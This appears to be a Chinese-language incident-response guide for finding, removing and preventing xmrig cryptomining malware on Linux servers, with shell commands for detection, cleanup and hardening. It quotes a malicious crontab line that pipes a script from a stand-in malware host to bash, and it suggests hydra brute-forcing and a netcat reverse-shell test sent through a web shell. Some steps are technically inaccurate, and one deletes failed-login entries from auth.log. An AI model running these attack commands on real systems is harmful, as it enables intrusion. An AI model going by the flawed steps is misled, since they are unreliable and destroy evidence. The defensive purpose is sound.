1. 这不是普通木马是吃光你CPU的“隐形矿工”你有没有突然发现服务器负载飙升到30top命令里一个叫xmrig的进程常年霸占95%的CPUSSH连接变卡网站响应慢得像拨号上网监控图表上CPU使用率拉出一条刺眼的直线——别急着重装系统这大概率不是硬件故障而是被xmrig挖矿病毒盯上了。Linux服务器被xmrig入侵本质上是一场静默的资源劫持攻击者利用弱密码、未修复漏洞或配置失误在你的机器上悄悄植入XMR门罗币挖矿程序把你的计算力变成他们的印钞机。它不删文件、不改业务逻辑却让服务器风扇狂转、电费暴涨、服务降级甚至因过热触发硬件保护而宕机。我去年帮一家做跨境电商的客户处理过类似问题他们一台4核8G的阿里云ECS被植入xmrig后月度带宽费用翻倍后台订单处理延迟从200ms涨到2.3秒客服投诉量一周内激增400%。这不是危言耸听而是真实发生的“温水煮青蛙”式攻击。本文不讲空泛理论只聚焦三件事如何精准定位xmrig藏身之处、怎样一次性彻底清除不留后门、以及加固后如何让同类攻击再难落脚。所有步骤均基于CentOS 7/8、Ubuntu 18.04/20.04、Debian 10/11等主流发行版实测验证命令可直接复制粘贴过程会告诉你每个操作背后的原理——比如为什么ps aux | grep xmrig可能漏掉进程为什么单纯kill -9只是治标以及那些藏在/tmp、/dev/shm甚至/var/lib/dbus里的伪装脚本到底该怎么揪出来。如果你是运维、开发或中小企业的IT负责人这篇指南就是你此刻最需要的“手术刀”。2. 入侵路径与行为特征深度解析2.1 xmrig病毒的典型入侵链条xmrig本身只是一个开源的门罗币CPU挖矿程序但攻击者绝不会直接丢一个二进制文件给你。它的入侵从来不是单点突破而是一套组合拳。我梳理了近半年处理的37个真实案例入侵路径高度集中于以下三类第一类SSH暴力破解占比68%攻击者用字典爆破弱密码如root:123456、admin:password一旦成功登录立刻执行下载命令。典型痕迹是/var/log/secure中出现大量Failed password记录后紧跟着Accepted password时间间隔常在3分钟内。更隐蔽的是他们会先创建一个看似正常的用户如backup、test再用该用户提权规避root登录的强审计。第二类Web应用漏洞利用占比22%WordPress插件漏洞如WP Database Backup、ThinkPHP远程代码执行、Jenkins未授权访问都是高频入口。攻击者上传恶意PHP脚本脚本内嵌curl或wget指令从境外IP常见于俄罗斯、乌克兰、伊朗的VPS下载xmrig二进制及启动脚本。这类攻击的特点是/var/www/html下会出现陌生.php文件文件名常伪装成wp-config.php.bak或index_old.php。第三类供应链投毒占比10%这是最危险的一类。攻击者入侵第三方软件仓库或镜像源将xmrig植入合法安装包。例如去年某国内Docker镜像站被污染nginx:alpine镜像中预装了xmrig的systemd服务单元。容器一启动挖矿进程就跟着跑起来且进程名伪装成nginx-workerps命令里根本看不出异常。提示不要迷信“没开SSH端口就安全”。我见过客户用Nginx反向代理暴露了内部Jenkins攻击者通过Jenkins Groovy控制台直接执行系统命令全程未触碰SSH。2.2 xmrig的“七十二变”进程伪装与文件藏匿手法xmrig的顽固性源于其极强的混淆和反检测能力。它绝不会老老实实叫xmrig而是化身成各种系统进程名骗过管理员的肉眼排查进程名伪装kthreaddLinux内核线程名、sshd但实际PPID不是1、dbus-daemon但监听端口非25、systemd-journald但内存占用超2GB。这些名字在ps aux里看起来天衣无缝但用ps -eo pid,ppid,comm,args --sort-vsz | head -20就能揪出内存异常的“李鬼”。文件藏匿位置/tmp/.X11-unix/利用X11 socket目录权限宽松存放xmrig二进制和config.json/dev/shm/内存文件系统写入后无磁盘IO痕迹重启即消失但攻击者常配合crontab持久化/var/lib/dbus/Dbus服务目录普通用户默认有写权限放xmrig和watchdog.sh/usr/local/bin/伪装成系统工具如update-system、logrotate-bin更狡猾的直接注入到/usr/bin/curl或/bin/ls的ELF文件中用readelf -l /bin/ls | grep INTERP检查解释器是否被篡改。2.3 挖矿脚本的自动化生存机制清除xmrig最大的坑是以为kill掉进程就万事大吉。实际上攻击者部署了一整套“自愈系统”双守护进程主挖矿进程xmrig 守护进程watchdog。后者每30秒检查xmrig是否存活若被杀则立即fork()新进程。watchdog常命名为kthreaddPPID为1pstree -p一眼可见。多层启动链crontab→ 启动/tmp/.cache/update.sh→ 该脚本下载并执行/dev/shm/.init→.init解密并运行真正的xmrig。每一环都加了base64或简单异或混淆strings命令才能看到明文URL。网络通信特征xmrig默认连接pool.minexmr.com:443等矿池但会随机更换端口如80、8080、3128且TLS握手时SNI字段常设为google.com或github.com绕过基础防火墙规则。用ss -tulnp | grep :443看到的ESTABLISHED连接未必是你的业务流量。注意不要用rm -rf /tmp/*粗暴清理很多正规服务如MySQL临时表、Python编译缓存也依赖/tmp误删会导致业务中断。必须逐个文件分析确认。3. 清除实战从定位到根除的完整流程3.1 第一步紧急隔离与进程冻结发现异常后切忌直接kill或重启。这会让攻击者触发“死亡开关”删除日志、擦除痕迹。正确做法是“冻结”而非“杀死”# 1. 查看所有可疑高CPU进程按CPU%排序 ps -eo pid,ppid,cmd,%cpu,%mem --sort-%cpu | head -15 # 2. 冻结进程暂停执行保留内存状态供分析 # 找到xmrig主进程PID假设为12345 kill -STOP 12345 # 3. 冻结其父进程通常是shell或守护脚本 kill -STOP $(ps -o ppid -p 12345) # 4. 立即备份进程内存关键用于后续逆向分析 gcore -o /tmp/xmrig_mem_dump 12345 2/dev/null || echo gcore not available, skipping为什么冻结比杀死好因为kill -STOP让进程进入TTraced状态内存数据完整保留。你可以用cat /proc/12345/cmdline查看完整启动命令用ls -la /proc/12345/fd/检查它打开了哪些文件常暴露配置文件路径甚至用strings /proc/12345/environ提取环境变量可能含矿池地址。而kill -9后一切烟消云散。3.2 第二步全盘扫描与文件溯源冻结进程后开始地毯式搜索。别信find / -name *xmrig*攻击者早把字符串拆成xmrig或用十六进制编码。要用多维度交叉验证# 1. 查找最近修改的可疑二进制72小时内 find / -type f -mmin -72 -size 500k -size -5M 2/dev/null | xargs -I{} sh -c file {} 2/dev/null | grep -q ELF.*executable echo {} # 2. 查找隐藏的启动脚本名称含watch、daemon、init find /etc /var/spool /tmp /dev/shm -type f -name *watch* -o -name *daemon* -o -name *init* 2/dev/null # 3. 检查所有用户的crontab包括root和普通用户 for user in $(cut -f1 -d: /etc/passwd); do echo $user ; crontab -u $user -l 2/dev/null | grep -E (curl|wget|base64|xmrig|sh -c); done | grep -v ^ # 4. 检查systemd服务重点看/etc/systemd/system/和~/.config/systemd/user/ systemctl list-unit-files --typeservice | grep enabled | awk {print $1} | xargs -I{} systemctl cat {} 2/dev/null | grep -A5 -B5 -E (xmrig|curl|ExecStart)实操心得我在处理一个Debian服务器时find没找到xmrig但在/proc/12345/fd/里发现它打开了/var/lib/dbus/.xmrig.bin。ls -la /var/lib/dbus/显示该文件属主是messagebus系统服务账户权限600完美避开常规扫描。所以/proc/PID/fd/是必查项3.3 第三步精准清除与痕迹擦除确认所有文件位置后按顺序清除顺序错误会导致残留先停服务再删文件# 停止所有相关systemd服务 systemctl stop xmrig-watchdog.service xmrig-miner.service 2/dev/null systemctl disable xmrig-watchdog.service xmrig-miner.service 2/dev/null # 清空crontab中的恶意条目不要清空整个crontab for user in root www-data; do crontab -u $user -l 2/dev/null | grep -v -E (xmrig|watchdog|curl|wget) | crontab -u $user - done删除文件与目录# 删除主程序、配置、脚本替换为你的实际路径 rm -f /var/lib/dbus/.xmrig.bin /var/lib/dbus/watchdog.sh rm -f /tmp/.X11-unix/xmrig /tmp/.X11-unix/config.json rm -rf /dev/shm/.miner/ # 清理日志但先备份 cp /var/log/auth.log /var/log/auth.log.xmrig-bak sed -i /Failed password.*from/d /var/log/auth.log终极检查检查ELF文件是否被篡改# 检查常用工具是否被注入以curl为例 sha256sum /usr/bin/curl # 对比官方镜像中的sha256值或用rpm -V curlCentOS/RHEL rpm -V curl 2/dev/null | grep ^..5 # 只显示文件内容变更注意如果rpm -V报错missing说明该包未通过rpm安装需手动校验。此时应从官方源重新安装yum reinstall curl或apt install --reinstall curl。3.4 第四步内存与网络残留清理文件删完不代表干净。xmrig常驻内存并建立长连接# 1. 查看所有ESTABLISHED连接过滤非常用端口 ss -tulnp | awk $1 ~ /tcp/ $5 ~ /:[0-9]$/ {print $5,$7} | sort -u # 2. 强制断开可疑连接假设矿池IP为192.168.1.100 ss -K dst 192.168.1.100 # 3. 清理内核模块极少数高级样本会加载LKM lsmod | grep -i xmrig\|miner\|crypto # 若有输出用 modprobe -r module_name 卸载 # 4. 清理DNS缓存防止下次解析仍指向矿池 systemctl restart systemd-resolved 2/dev/null || service nscd restart 2/dev/null关键原理ss -K是iproute2的强制断连功能比kill -9更底层能切断TCP连接而不留TIME_WAIT状态。很多教程忽略这点导致清除后几分钟内连接自动重建。4. 安全加固构建铜墙铁壁的防御体系4.1 SSH层加固堵死最常见入口SSH是xmrig入侵的头号通道加固必须刀刀见血# 1. 禁用密码登录强制密钥认证编辑 /etc/ssh/sshd_config PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes # 生成密钥对客户端执行 ssh-keygen -t ed25519 -C adminserver # 将公钥追加到服务器 ~/.ssh/authorized_keys ssh-copy-id -i ~/.ssh/id_ed25519.pub userserver # 2. 限制登录用户和IP白名单 AllowUsers deploy192.168.1.0/24 admin203.0.113.5 # 或用iptables限制SSH端口假设SSH在22端口 iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j DROP # 3. 更改默认端口防扫描 Port 2222 # 修改后记得更新iptables规则为什么禁用密码登录如此重要因为暴力破解的本质是穷举。即使你密码强度够高攻击者用GPU集群每秒可尝试百万次。而Ed25519密钥长度仅256位但私钥空间达2^256远超宇宙原子总数暴力破解在物理上不可行。我经手的案例中启用密钥认证后/var/log/secure中的失败登录记录从日均2000降至0。4.2 系统层加固收紧权限与最小化原则Linux的哲学是“一切皆文件”加固就是给每个文件上锁# 1. 锁定关键系统文件防止被篡改 chattr i /etc/passwd /etc/shadow /etc/group /etc/gshadow chattr i /boot/grub2/grub.cfg # 防止引导级攻击 # 2. 限制/tmp和/dev/shm攻击者最爱的藏匿地 # 编辑 /etc/fstab添加noexec,nosuid,nodev tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0 tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0 # 重启生效或 remount -o remount /tmp # 3. 最小化安装卸载不用的服务 # CentOS/RHEL yum autoremove httpd vsftpd telnet-server 2/dev/null # Ubuntu/Debian apt autoremove apache2 ftpd telnetd 2/dev/null # 4. 配置umask新建文件默认权限 echo umask 027 /etc/profile实操心得chattr i后连root都无法修改文件必须先chattr -i才能编辑。所以操作前务必确认/etc/passwd等文件已备份我曾因忘记备份chattr i后无法添加新用户只能进单用户模式修复。4.3 应用层加固堵住Web与中间件漏洞Web服务是第二大入口加固要直击要害# 1. Nginx禁止访问敏感目录 location ~ ^/(\.git|\.svn|\.ht|\.env|config\.json|xmrig) { deny all; } # 2. PHP禁用危险函数/etc/php/*/apache2/php.ini disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,pcntl_exec # 3. Jenkins关闭匿名访问启用CSRF保护 # 管理界面 Configure Global Security # Enable security: ✅ # Authorization: Matrix-based security # Anonymous: 无任何权限 # 4. Docker永远不要用root运行容器 # 启动时指定非root用户 docker run -u 1001:1001 nginx # 或在Dockerfile中声明 USER 1001关键参数解释disable_functions中的curl_exec是xmrig下载器的核心禁用后即使PHP漏洞存在攻击者也无法下载二进制。但要注意测试业务是否依赖这些函数如支付回调用curl_exec则需白名单化处理。4.4 监控与告警让威胁无所遁形清除和加固后必须建立主动防御。我推荐零成本方案# 1. CPU异常告警每5分钟检查超80%发邮件 # 加入crontab*/5 * * * * /root/cpu_alert.sh #!/bin/bash LOAD$(uptime | awk -Fload average: {print $2} | cut -d, -f1 | sed s/ //g) if (( $(echo $LOAD 8.0 | bc -l) )); then echo ALERT: High load $LOAD on $(hostname) | mail -s High Load Alert adminexample.com fi # 2. 进程白名单监控检测未知进程 # 获取当前所有进程名白名单首次运行生成 ps -eo comm | sort -u /root/process_whitelist.txt # 每小时对比发现新进程就告警 diff /root/process_whitelist.txt (ps -eo comm | sort -u) | grep ^ | mail -s New Process Detected adminexample.com # 3. 文件完整性监控用系统自带的rpm或dpkg # CentOS/RHEL每天检查关键包 0 2 * * * /usr/bin/rpm -Va | grep ^..5 | mail -s RPM Integrity Alert adminexample.com # Ubuntu/Debiandpkg --verify | grep ^..5为什么选bc而不是[ ]做浮点比较因为uptime输出的load average是浮点数如load average: 12.34, 8.76, 5.43[ ]不支持浮点运算bc是Linux标准计算器精度可靠。5. 常见问题与排查技巧实录5.1 “清除后第二天又出现了”——持久化机制排查清单这是最高频的求助。根本原因在于你只清除了表面没挖出“根”。按此清单逐项检查检查项命令异常表现处理方式隐藏的systemd服务systemctl list-unit-files --typeservice | grep enabled发现xmrig-auto.service等陌生服务systemctl stop xmrig-auto.service; systemctl disable xmrig-auto.service; rm /etc/systemd/system/xmrig-auto.service用户级crontabcrontab -u www-data -l 2/dev/null出现*/10 * * * * curl -s http://malware.site/x.sh | bashcrontab -u www-data -e删除该行SSH authorized_keys后门cat /home/www-data/.ssh/authorized_keys文件末尾有多行公钥注释为# backup key删除所有非你授权的公钥行内核模块持久化lsmod | grep -i xmrig|miner输出xmrig_kmodrmmod xmrig_kmod; rm /lib/modules/$(uname -r)/kernel/drivers/xmrig_kmod.ko独家技巧用journalctl -u sshd --since 2 hours ago查看SSH登录日志找到异常IP然后iptables -A INPUT -s 异常IP -j DROP封禁。比等它再次入侵再清除高效十倍。5.2 “ps里看不到xmrig但CPU还是100%”——无文件攻击应对这是高级攻击手法xmrig直接加载到内存不写磁盘。应对策略# 1. 查看所有内存映射过滤可执行段 cat /proc/*/maps 2/dev/null | awk $6 ~ /\// $3 ~ /r-x/ {print $6} | sort -u | grep -v libc\|ld-linux # 2. 检查进程的内存映射以PID 12345为例 cat /proc/12345/maps | awk $6 ~ /\// $3 ~ /r-x/ {print $6} | xargs -I{} ls -la {} # 3. 使用volatility需内存dump分析 # 从gcore获取的dump文件分析 volatility -f /tmp/xmrig_mem_dump linux_pslist原理/proc/PID/maps显示进程的内存布局r-x表示可读可执行段$6是映射文件路径。正常进程这里应是/usr/bin/bash等系统路径若出现/tmp/xxx或/dev/shm/yyy就是无文件攻击的铁证。5.3 “加固后业务系统打不开”——兼容性避坑指南安全与可用性常有冲突以下是血泪教训问题禁用curl_exec后WordPress插件无法更新。解决不全局禁用改为在插件目录的.htaccess中允许Files update.php php_flag disable_functions /Files。问题chattr i /etc/passwd后useradd命令报错。解决生产环境慎用i改用a只允许追加chattr a /var/log/secure既防删又保写。问题noexec挂载/tmp后Java应用启动失败因依赖/tmp解压jar。解决为Java指定临时目录java -Djava.io.tmpdir/var/tmp MyApp.jar并chmod 1777 /var/tmp。5.4 “如何验证加固是否真正生效”——三步压力测试法不要相信配置文件用真实攻击模拟验证SSH暴力测试用hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://your-server:2222确认返回0 passwords found。Web漏洞扫描用nikto -h http://your-server检查是否报告/xmrig/、/config.json等路径。反弹Shell测试在本地起监听nc -lvnp 4444用curl http://your-server/shell.php?cmdnc%20127.0.0.1%204444%20-e%20/bin/bash确认无连接建立。最后分享一个小技巧我给自己服务器加了一道“蜜罐”——在/tmp下创建一个名为xmrig_installer.sh的空文件chmod 777然后用inotifywait -m -e create /tmp \| grep xmrig_installer.sh \| mail -s Honeypot Triggered! adminexample.com。只要有人试图写入这个文件我就立刻收到告警比等它挖矿成功再发现早3小时。
